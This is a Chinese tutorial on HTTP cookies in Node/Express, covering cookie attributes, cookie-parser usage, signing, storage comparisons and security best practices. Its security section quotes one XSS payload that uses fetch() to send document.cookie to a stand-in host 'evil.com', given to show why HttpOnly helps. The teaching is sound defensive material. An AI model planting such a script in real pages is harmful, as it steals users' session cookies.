Node系列 · Express:cookie 的基本概念
Cookie 是 Web 最古老的客户端存储机制------浏览器每次请求自动带上同源 Cookie。本章讲清楚 Cookie 的工作原理、关键属性、安全问题。
一、Cookie 是什么
Cookie 是服务器下发给浏览器的少量数据,浏览器自动在后续请求中带回去:
服务器 浏览器 服务器 浏览器 #mermaid-svg-ewLg1f16IBsthEaF{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-ewLg1f16IBsthEaF .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-ewLg1f16IBsthEaF .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-ewLg1f16IBsthEaF .error-icon{fill:#552222;}#mermaid-svg-ewLg1f16IBsthEaF .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-ewLg1f16IBsthEaF .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-ewLg1f16IBsthEaF .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-ewLg1f16IBsthEaF .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-ewLg1f16IBsthEaF .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-ewLg1f16IBsthEaF .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-ewLg1f16IBsthEaF .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-ewLg1f16IBsthEaF .marker{fill:#333333;stroke:#333333;}#mermaid-svg-ewLg1f16IBsthEaF .marker.cross{stroke:#333333;}#mermaid-svg-ewLg1f16IBsthEaF svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-ewLg1f16IBsthEaF p{margin:0;}#mermaid-svg-ewLg1f16IBsthEaF .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-ewLg1f16IBsthEaF text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-ewLg1f16IBsthEaF .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-ewLg1f16IBsthEaF .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg-ewLg1f16IBsthEaF .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-ewLg1f16IBsthEaF .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-ewLg1f16IBsthEaF #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-ewLg1f16IBsthEaF .sequenceNumber{fill:white;}#mermaid-svg-ewLg1f16IBsthEaF #sequencenumber{fill:#333;}#mermaid-svg-ewLg1f16IBsthEaF #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-ewLg1f16IBsthEaF .messageText{fill:#333;stroke:none;}#mermaid-svg-ewLg1f16IBsthEaF .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-ewLg1f16IBsthEaF .labelText,#mermaid-svg-ewLg1f16IBsthEaF .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-ewLg1f16IBsthEaF .loopText,#mermaid-svg-ewLg1f16IBsthEaF .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-ewLg1f16IBsthEaF .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-ewLg1f16IBsthEaF .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-ewLg1f16IBsthEaF .noteText,#mermaid-svg-ewLg1f16IBsthEaF .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-ewLg1f16IBsthEaF .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-ewLg1f16IBsthEaF .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-ewLg1f16IBsthEaF .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-ewLg1f16IBsthEaF .actorPopupMenu{position:absolute;}#mermaid-svg-ewLg1f16IBsthEaF .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg-ewLg1f16IBsthEaF .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-ewLg1f16IBsthEaF .actor-man circle,#mermaid-svg-ewLg1f16IBsthEaF line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-ewLg1f16IBsthEaF :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} GET /login (无 Cookie)Set-Cookie: sessionId=abc123GET /api/users (Cookie: sessionId=abc123)200 OK (识别为已登录)
主要用于:
- 会话管理:登录状态、购物车
- 个性化:偏好设置、主题
- 追踪:广告投放(GA、Facebook Pixel)
二、Cookie 的关键属性
http:cookie-headers.http
HTTP/1.1 200 OK
Set-Cookie: token=abc123; Path=/; Expires=Wed, 21 Oct 2026 07:28:00 GMT; HttpOnly; Secure; SameSite=Lax
| 属性 | 作用 |
|---|---|
Name=Value |
键值对数据 |
Domain |
哪些域名可见(默认当前域) |
Path |
哪些路径发送(默认 /) |
Expires / Max-Age |
过期时间;不设 = 会话级(关浏览器就消失) |
HttpOnly |
JS 无法访问(防 XSS) |
Secure |
仅 HTTPS 传输 |
SameSite |
跨站 Cookie 限制(防 CSRF) |
2.1 重要属性详解
HttpOnly :JS 通过 document.cookie 读不到------防 XSS 偷 Cookie:
javascript:cookie-property.http
// 有 HttpOnly:返回空字符串
document.cookie;
// 无 HttpOnly:返回 'token=abc123'
Secure :只通过 HTTPS 发送------HTTP 请求中浏览器会自动删除这个 Cookie。
SameSite:
| 值 | 行为 |
|---|---|
Strict |
任何跨站请求都不带 |
Lax(默认) |
跨站 GET 导航带,POST / 表单提交 / iframe 不带 |
None |
任何请求都带(必须配合 Secure) |
Lax 是现代浏览器默认,强烈推荐------能挡掉大部分 CSRF 攻击。
三、Node 操作 Cookie
3.1 设置 Cookie
javascript:set-cookie.js
// 方式 1:用 Set-Cookie header
res.setHeader('Set-Cookie', 'token=abc123; HttpOnly; Path=/; Max-Age=3600');
// 方式 2:用 cookie-parser(推荐)
res.cookie('token', 'abc123', {
httpOnly: true,
secure: true, // 生产环境
sameSite: 'lax',
maxAge: 60 * 60 * 1000, // 1 小时
});
3.2 读取 Cookie
javascript:read-cookie.js
const cookie = require('cookie-parser');
app.use(cookie());
app.get('/api/profile', (req, res) => {
const token = req.cookies.token;
if (!token) {
return res.status(401).json({ error: '未登录' });
}
// 验证 token...
res.json({ user: 'alice' });
});
req.cookies 是对象:{ token: 'abc123', theme: 'dark' }。
3.3 删除 Cookie
javascript:clear-cookie.js
res.clearCookie('token');
服务器无法真正"删除"客户端的 Cookie,只能通过 Set-Cookie 把它设为过期------浏览器收到后会自动清除。
四、Cookie 大小与数量限制
| 浏览器 | 单 Cookie 大小 | 每域名 Cookie 数 |
|---|---|---|
| Chrome | 4096 字节 | ~180 |
| Firefox | 4096 字节 | ~150 |
| Safari | 4096 字节 | ~600 |
| Edge | 4096 字节 | ~180 |
::: warning
Cookie 不适合存大量数据 ------单个 4KB 上限,每个域名总数也有限制。大量数据用 sessionStorage / localStorage / IndexedDB。
:::
五、安全风险
5.1 XSS 偷 Cookie
攻击者注入 <script>fetch('evil.com?c=' + document.cookie)</script> 把 Cookie 发走。
防护 :Cookie 设 HttpOnly------JS 读不到。
5.2 CSRF(跨站请求伪造)
用户已登录 bank.com,访问恶意页面,恶意页面自动提交转账请求------浏览器自动带上 Cookie。
防护:
| 手段 | 原理 |
|---|---|
SameSite=Lax |
跨站请求不带 Cookie(现代浏览器默认) |
| CSRF Token | 表单带服务端生成的 token,攻击者拿不到 |
检查 Origin / Referer |
跨站请求的特征字段 |
5.3 Cookie 篡改
Cookie 存客户端,理论上可被修改------所以永远不要把关键状态直接放 Cookie 明文。要么:
- 签名(HMAC-SHA256)防止篡改
- 加密存 sessionId,服务端校验 session
cookie-parser 的 secret 参数就是用来签名验证的。
javascript:cookie-signature.js
app.use(cookieParser('my-secret'));
// 设置签名 Cookie
res.cookie('user', 'alice', { signed: true });
// 读取:req.signedCookies.user 是验签后的值
// 如果被篡改,req.signedCookies.user === false
六、Cookie vs LocalStorage vs SessionStorage
| 维度 | Cookie | LocalStorage | SessionStorage |
|---|---|---|---|
| 容量 | 4KB | ~5MB | ~5MB |
| 自动随请求发送 | ✅ | ❌ | ❌ |
| JS 可访问 | 受 HttpOnly 限制 | ✅ | ✅ |
| 生命周期 | 可设过期 | 永久(除非主动删) | 关页面即清 |
| 跨标签页共享 | ✅ | ✅ | ❌(仅当前标签) |
| 用途 | 会话标识、追踪 | 本地缓存 | 表单草稿 |
选型决策:
| 数据类型 | 推荐 |
|---|---|
| 会话 ID / 登录态 | Cookie(HttpOnly + Secure) |
| JWT token | Cookie(防 XSS 偷) 或 Authorization header |
| 用户偏好 / 草稿 | LocalStorage / SessionStorage |
| 缓存大体积数据 | IndexedDB |
七、最佳实践
| 场景 | 推荐 |
|---|---|
| 登录态 Cookie | HttpOnly + Secure + SameSite=Lax + Max-Age |
| JWT 存储 | Cookie(防 XSS)比 LocalStorage 更安全 |
| 第三方追踪 Cookie | 加 SameSite=None; Secure(跨站必需) |
| 敏感数据 | 不要存 Cookie------只存 ID,详情查服务端 |
| 签名 / 加密 | cookie-parser(secret) + signed: true |
| 删除 | 服务端用 res.clearCookie() |
八、小结
- Cookie 是浏览器自动随请求发送的小数据------用于会话管理 / 个性化 / 追踪
- 关键属性:
HttpOnly(防 XSS)、Secure(仅 HTTPS)、SameSite=Lax(防 CSRF) - 服务端用
cookie-parser读取:req.cookies/req.signedCookies - 设置:
res.cookie(name, value, options);删除:res.clearCookie(name) - 永远不要在 Cookie 存敏感数据明文------只存 ID,详情查服务端
- Cookie vs LocalStorage:Cookie 自动随请求发送适合会话,LocalStorage 适合本地缓存